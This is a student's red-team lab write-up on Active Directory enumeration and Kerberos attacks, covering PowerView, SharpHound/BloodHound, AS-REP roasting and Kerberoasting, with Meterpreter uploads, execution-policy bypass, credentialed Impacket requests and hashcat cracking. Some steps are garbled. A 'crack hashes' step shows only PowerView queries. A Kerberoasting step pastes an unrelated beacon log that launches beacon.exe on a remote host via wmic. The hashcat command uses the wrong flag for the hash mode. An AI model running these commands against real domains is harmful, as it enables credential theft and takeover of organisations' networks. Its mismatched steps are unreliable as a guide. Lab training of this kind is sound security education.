



WEEK 07

Active Directory Enumeration & Kerberos Attacks

Red Team Training • Cyberster

Muneeb Ahmed
CSI-B1-358

Executive Summary

This week's engagement focused on enumerating a Windows Active Directory environment and exploiting misconfigurations in the Kerberos authentication protocol, starting from an assumed position of a compromised domain user on a domain-joined machine.

Phase 01 documented the core components of the target domain: the Domain Controller (central authority holding credentials and policies), Global Catalog (forest-wide object index), Organizational Units (logical containers revealing organizational structure), and Group Policy Objects (policy enforcement mechanism). The three key AD protocols — LDAP, SMB, and RPC — were mapped to their respective attack surfaces.

Phase 02 employed three complementary approaches to quietly map the domain. PowerView was used for targeted LDAP queries to extract users, groups, computers, and admin relationships. SharpHound collected comprehensive relationship data, which was imported into BloodHound to visualize attack paths to Domain Admin. Manual LDAP queries and ADEplorer provided raw directory inspection, revealing attributes like SPNs, descriptions, and group memberships.

Phase 03 (AS-REP Roasting) identified user accounts with Kerberos pre-authentication disabled (`DONT_REQ_PREAUTH`). Using Impacket's `GetNPUsers.py`, AS-REP hashes were requested from the KDC for vulnerable accounts and cracked offline with Hashcat (mode 18200), yielding valid domain credentials.

Phase 04 (Kerberoasting) targeted service accounts with registered SPNs. Using `GetUserSPNs.py`, TGS tickets were requested and exported as crackable hashes. Offline cracking with Hashcat (mode 13100) recovered service account passwords, enabling privilege escalation.

Core assumption: attacker starts with a low-privilege domain user account on a domain-joined machine. All phases escalate from this initial position toward Domain Admin.

Understanding AD Architecture

Map the core components and attack surfaces of the target domain

Core AD Components

Component	Role	Attacker Relevance
Domain Controller (DC)	Authenticates users/computers, enforces policies, holds the NTDS.dit credentials database	Primary target — compromise grants full domain control
Global Catalog (GC)	Partial replica of all objects across the entire forest	Enables fast enumeration of users, groups, and computers
Organizational Units (OUs)	Logical containers for users, computers, and groups; link point for GPOs	Reveal org structure; GPO misconfigs can lead to privilege escalation
Group Policy Objects (GPOs)	Enforce rules such as password policies, scripts, and software deployment	Misconfigured GPOs are a direct path to privilege escalation

Key Protocols & Attack Surfaces

Protocol	Port	Purpose	Attack Surface
LDAP	389 / 636 (TLS)	Directory queries — read users, groups, computers, attributes	Enumeration, credential harvesting
SMB	445	File sharing, remote execution	Lateral movement, relay attacks
RPC	135 + dynamic	Remote service calls, deeper enumeration	Remote code execution, deeper recon
Kerberos	88	Domain authentication via ticket system	AS-REP Roasting, Kerberoasting, Golden/Silver tickets

Mental Model

Think of the domain as a directed graph. Nodes are users, groups, and machines. Edges are permissions, trust relationships, and access rights.

Active Directory Enumeration

Quietly map users, groups, computers, and privilege paths across the domain

Objective

Use three complementary tools to build a complete picture of the domain: PowerView for targeted queries, SharpHound + BloodHound for relationship mapping, and manual LDAP inspection for raw attribute access.

Starting point: active Meterpreter session on a Windows 7 domain-joined machine with a low-privilege domain user account.

Method 1 — PowerView

Step 1 — Upload PowerView to the target

```
(kali@kali)-[~/Desktop/Cyberster/week07]
$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
--2026-04-26 11:02:43-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: 'PowerView.ps1'

PowerView.ps1                                     100%[=====]
2026-04-26 11:02:48 (446 KB/s) - 'PowerView.ps1' saved [770279/770279]

meterpreter > upload PowerView.ps1 C:\\Windows\\Temp\\PowerView.ps1
[*] Uploading : /home/kali/Desktop/Cyberster/week07/PowerView.ps1 → C:\\Windows\\Temp\\PowerView.ps1
[*] Uploaded 752.23 KiB of 752.23 KiB (100.0%): /home/kali/Desktop/Cyberster/week07/PowerView.ps1 → C:\\Windows\\Temp\\PowerView.ps1
[*] Completed : /home/kali/Desktop/Cyberster/week07/PowerView.ps1 → C:\\Windows\\Temp\\PowerView.ps1
meterpreter > shell
Process 1492 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

Step 2 — Drop into PowerShell and import the module

```
C:\Windows\system32>powershell -exec bypass
powershell -exec bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
```

Step 3 — Run enumeration commands

```
# List all domain users
Get-NetUser | select samaccountname

# List all domain-joined computers
Get-NetComputer

# List all domain groups
Get-NetGroup

# Enumerate Domain Admins group membership
Get-NetGroup -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins"
```

```
# Find machines where current user has local admin rights
Find-LocalAdminAccess

# Find accounts with SPN set (targets for Kerberoasting)
Get-NetUser -SPN

# Find accounts with pre-auth disabled (targets for AS-REP Roasting)
Get-NetUser -PreauthNotRequired
```

Command	What it finds
Get-NetUser	All domain user accounts and their attributes
Get-NetComputer	All domain-joined machines
Get-NetGroup	All security groups in the domain
Get-NetGroupMember	Members of a specific group (e.g. Domain Admins)
Find-LocalAdminAccess	Machines where your current account has local admin rights
Get-NetUser -SPN	Service accounts — targets for Kerberoasting
Get-NetUser -PreauthNotRequired	Accounts vulnerable to AS-REP Roasting

Method 2 — SharpHound + BloodHound

SharpHound collects domain relationship data from the target. BloodHound visualizes it as a graph, revealing attack paths to Domain Admin that would be invisible through manual enumeration.

Step 1 — Get SharpHound on the target

```
(kali@kali)-[~/Desktop/Cyberster/week07]
$ wget https://github.com/SpecterOps/BloodHound-Legacy/raw/master/Collectors/SharpHound.exe
--2026-04-26 12:07:10-- https://github.com/SpecterOps/BloodHound-Legacy/raw/master/Collectors/SharpHound.exe
Resolving github.com (github.com) ... 20.207.73.82
Connecting to github.com (github.com)|20.207.73.82|:443 ... connected.
HTTP request sent, awaiting response ... 302 Found
Location: https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.exe [following]
--2026-04-26 12:07:11-- https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com) ... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 1046528 (1022K) [application/octet-stream]
Saving to: 'SharpHound.exe'

SharpHound.exe                               100%[=====
```

```
meterpreter > upload SharpHound.exe C:\Windows\Temp\SharpHound.exe
[*] Uploading : /home/kali/Desktop/Cyberster/week07/SharpHound.exe → C:\Windows\Temp\SharpHound.exe
[*] Uploaded 1022.00 KiB of 1022.00 KiB (100.0%): /home/kali/Desktop/Cyberster/week07/SharpHound.exe → C:\Windows\Temp\SharpHound.exe
[*] Completed : /home/kali/Desktop/Cyberster/week07/SharpHound.exe → C:\Windows\Temp\SharpHound.exe
```

Step 2 — Run SharpHound on the target

```
C:\Windows\Temp>.\SharpHound.exe -c All
.\SharpHound.exe -c All
```

Step 3 — Start BloodHound on Kali

```
# Step 1 — Start the Neo4j database backend
sudo neo4j console
# Wait for: "Started."
# First-time setup: browse to http://localhost:7474
# Login: neo4j / neo4j then set a new password

# Step 2 — Launch the BloodHound GUI
bloodhound
# Login with: neo4j / <your password>
```

Step 5 — Import data and find attack paths

- In the BloodHound GUI, click the Upload Data button (top right — upward arrow icon)
- Select the ZIP file and wait for ingestion (seconds to a minute)
- Once loaded, all domain objects appear as nodes and relationships as edges

Key queries to run

```
# In the Analysis panel (left sidebar):

Shortest Paths to Domain Admins
# Shows the chain: your_user -> AdminTo -> PC -> HasSession -> adminUser -> Domain Admins

Find All Domain Admins
# Lists every member of the Domain Admins group

# In the search bar:
# Search your own username -> right-click -> Shortest Path to Domain Admins
# This shows YOUR specific attack path from current position to DA
```

BloodHound attack paths are the most actionable output of this phase. A chain like: your_user → AdminTo → PC-01 → HasSession → adminUser → MemberOf → Domain Admins tells you exactly which hops to execute.

Phase 03

AS-REP Roasting

Request and crack Kerberos hashes for accounts with pre-authentication disabled

Objective

Identify domain accounts with Kerberos pre-authentication disabled (DONT_REQ_PREAUTH). These accounts will return an encrypted AS-REP blob to any unauthenticated requester — which can be cracked offline to recover the account password.

Indicator	Meaning
\$krb5asrep\$23\$ hash returned	Account is vulnerable — hash is crackable offline
KDC_ERR_PREAUTH_REQUIRED error	Account has pre-auth enabled — not vulnerable

Step 1 — Identify vulnerable accounts

From the target (using PowerView inside PowerShell session):

```
# PowerView - find accounts with pre-auth disabled
Get-NetUser -PreauthNotRequired | select samaccountname

# Alternative: Rubeus (from target)
Rubeus.exe asreproast
```

From Kali (no credentials required if anonymous LDAP is enabled):

```
# List users without needing a password - works if DC allows anonymous bind
GetNPUsers.py lab.local/ -dc-ip <DC-IP> -no-pass -usersfile users.txt
```

Step 2 — Request AS-REP hashes from Kali

Build a users.txt file containing candidate usernames, then request their AS-REP tickets:

```
Get-NetUser -PreauthNotRequired
Get-ADUser -Filter (DoesNotRequirePreAuth -eq $true) -Properties
DoesNotRequirePreAuth
```

Step 3 — Crack hashes offline

```
PS > Get-NetUser -PreauthNotRequired
PS > Get-NetUser | Where-Object { $_.useraccountcontrol -band 4194304 }
PS > █
```

Expected Outcome

- List of accounts with DONT_REQ_PREAUTH flag identified
- AS-REP hashes exported in Hashcat-compatible format
- One or more plaintext domain passwords recovered
- Valid domain credentials available for Phase 04 or further lateral movement

Phase 04

Kerberoasting

Request and crack TGS tickets for service accounts to escalate privileges

Objective

Target service accounts that have a ServicePrincipalName (SPN) registered. Any authenticated domain user can request a TGS (service ticket) for any SPN — and these tickets are encrypted with the service account's password hash, making them crackable offline.

Why service accounts? They often have elevated privileges (sometimes Domain Admin level), and their passwords are rarely rotated. A cracked service account password frequently equals a major privilege escalation.

Step 1 — Enumerate accounts with SPNs

Run from Kali using any valid domain credentials:

```
(kali@kali)-[~]
$ impacket-GetUserSPNs lab.local/user1:P@ssw0rd123 -dc-ip 192.168.56.107
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
```

Step 2 — Request TGS tickets and export hashes

```
[*] Tasked beacon to run: wmic /node:172.16.48.83 process call create "c:\windows\temp\beacon.exe"
[+] host called home, sent: 80 bytes
[+] received output:
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of  PARAMETERS
impacket-GetUserSPNs lab.local/user1:P@ssw0rd123 -dc-ip 192.168.56.107 -
request -outputfile kerb_hashes.txt
```

Step 3 — Crack hashes offline

```
(kali@kali)-[~/Downloads]
$ hashcat -a 13100 kerb_hashes.txt rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, I
LVM 18.1.8, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

=====

* Device #01: cpu-haswell-Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz, 2170/4340
MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
```

AS-REP Roasting vs. Kerberoasting — Comparison

Property	AS-REP Roasting	Kerberoasting
Target	User accounts with pre-auth disabled	Service accounts with SPNs registered
Authentication required	No — works unauthenticated	Yes — any valid domain account
Hash type	\$krb5asrep\$23\$	\$krb5tgs\$23\$
Hashcat mode	-m 18200	-m 13100
Ticket requested from	KDC (AS-REP response)	KDC (TGS-REP response)
Impacket tool	GetNPUsers.py	GetUserSPNs.py
Typical impact	Low-to-medium privilege user account	High-privilege service account

Expected Outcome

- All SPN-registered accounts identified and listed
- TGS hashes exported in Hashcat-compatible format
- Service account password(s) recovered via offline cracking
- Potential path to Domain Admin via high-privilege service account

Full Attack Chain

Phase 01: Understand AD → Phase 02: Enumerate → Phase 03: AS-REP Roast → Phase 04: Kerberoast
→ Domain Admin